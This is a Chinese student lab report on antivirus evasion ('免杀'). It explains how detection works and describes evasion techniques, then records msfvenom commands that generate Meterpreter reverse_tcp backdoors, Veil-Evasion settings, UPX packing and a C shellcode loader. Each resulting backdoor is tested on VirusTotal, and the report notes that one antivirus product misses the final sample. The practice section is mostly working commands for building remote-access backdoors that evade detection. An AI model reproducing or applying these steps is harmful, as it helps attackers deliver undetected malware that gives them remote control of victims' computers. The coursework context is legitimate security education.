1.基础问题回答

(1)杀软是如何检测出恶意代码的?

1:基于特征码

一段特征码就是一段或多段数据。(如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)
杀毒软件有自己专门的特征码库,在检测一个程序是否是恶意代码时就看这个程序中的是否包含有特征码库中的特征码,如果有就进行查杀。但是特征码库并不是总是能第一时间更新,如果出现了特征码库中没有的新特征码,那么就无法通过这种比对的方法进行查杀。

2: 启发式恶意软件检测

根据些片面特征去推断。其可以检测0-day恶意软件,具有一定通用性;但是其实时监控系统行为,开销稍多,没有基于特征码的精确度高。
3:基于行为的恶意软件检测

从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

(2)免杀是做什么?

免杀即使用不同方法使得恶意程序不被杀软和防火墙发觉。

(3)免杀的基本方法有哪些?

1、加壳脱壳与加密解密

利用特殊的算法,对可执行文件与动态库里的资源进行压缩与对文件的描述、版本号、创建日期、修改软件、系统执行需求等外层数据进行伪装。

2、加花指令与程序入口点修改

加花指令就是在程序开头加入一段计算用的汇编指令和一些入口点内存地址的乱跳转,或加上其他常用程序特有的入口指令来迷惑杀毒软件。因为计算与跳转的最后结果是没有实质的意义的,所以这么做并不影响程序的正常运行。但能使一些杀毒软件无法正确识别木马程序,从而达到免杀的效果。
程序入口点修改就是改变入口点,通常用到的方法是在入口点的地址加1或把入口点地址拆开,也有加花指令之后把原入口点修改到花指令的入口点上令电脑先处理那段没意义的指令,再在花指令后再加跳转代码,跳转到程序执行数据的入口点上,令程序正常运行。

3、内存、文件特征码的定位与修改

首先用特征码定位软件定位文件特征码的所在之处,再用UltraEdit对被定位的特征码段进行修改。
一般修改方法有:
十六进制的特征码直接修改法,就是把十六进制的特征码加1;
字符串大小写修改法,就是特征码所对应的内容是字符串的时候,把大小字互换;
等价替换法,就是当特征码所对应的是汇编指令时,把指令替换成功能类拟的指令;
指令顺序调换法,把特征码对应的汇编指令的顺序互换;
通用跳转法,用跳转的方法把特征码对应的汇编指令跳转走

(4)开启杀软能绝对防止电脑中恶意代码吗?

集成在盗版软件中,诱使使用者使用时关闭杀软防火墙。

2.实践过程记录

免杀测试网站:https://www.virustotal.com

2.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

msfvenom直接生成meterpreter可执行文件

点击查看代码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1136.149 PORT=1321 -f exe > 20191321backdoor.exe

然后将生成的后门文件丢到测试网站上测试,测试结果如下:
image
检出率为53/70

使用Unicode编码一次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.136.149 LPORT=1321 -f exe > backdoor1.exe
image
进行检测
image
检出率为53/70

veil,加壳工具实践

安装工具

安装命令行sudo apt-get install veil-evasion
image
安装设置
下载成功后,修改setup.sh
cd /usr/share/veil/config vim setup.sh
注意:先进入root模式
修改第260行的
image
修改成功后,veil等待安装
image
正常安装相关模块!
image

image

image

image

image

image

image

image

输入命令veil,出现命令行形式即可认为veil安装成功
image

使用veil工具

点击查看代码
veil
use evasion					//进入Evil—Evasion
use c/meterpreter/rev_tcp.py 	//进入配置界面
set LHOST 192.168.136.149		//设置反弹链接ip,此处为Kali的ip
set LPORT 1321					//设置端口
generate

设置生成的文件(名称) 保存路径为/var/lib/veil/output/compiled/20191321veil.exe

image

image

检测文件(检出率35/68)
其实检出率还是很高,文件比较大,检查了很久
image

免杀加壳尝试

加壳是对相应的资源进行压缩,压缩后仍可运行。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
它可以用来保护版权,但同时许多病毒也利用它来作为原理。

加壳指令upx 20191321veil.exe -o 20191321_veil_upx.exe

image

检测文件(检出率39/68)
image

使用C + shellcode编程

使用msfvenom得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.149 LPORT=1321 -f c

image
编辑c文件
vim shellcode_c.c
int main() { int (*func)() = (int(*)())buf; func(); }

image

编译成可执行文件
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
检测文件(检出率35/68)
image

通过组合应用各种技术实现恶意代码免杀

使用veil生成木马文件,执行如下命令:

点击查看代码
 veil
 use Evasion 
 use 28
 set LHOST 192.168.136.149
 set LPORT 1321
 bd_py

这是会给出两个默认选项,以什么方式打包python文件,输入1
image
image

可能会出现一下错误
wine:.wine is not owned by you
这是权限不够,输入命令
sudo chown root:root -R /var/lib/veil/wine
赋予root权限即可成功
最后生成.exe文件
image
然后使用 upx 对我生成的 backdoor_py.exe 进行加壳
upx bd2_py.exe -o backdoor_py_upx.exe
将生成的 backdoor_py_upx.exe 丢到检测网站上检测
image

附加题
将上述文件放在win系统桌面,进行火绒的查杀
image

image
没有检测出来

3.实践总结与体会

本次实验操作性较强,不是很难,但是过程比较复杂。我在安装veil的时候遇到了很多问题,花了很久的时间才解决。后面做免杀操作的时候,也要结合之前几次实验的内容。
从这次实验中,我充分认识到杀毒软件的运作机制是我们考虑如何入侵的一个重要信息,我们要充分了解杀软才能避开检测,这个实验也同时告诉了我们怎么更有效地进行防御。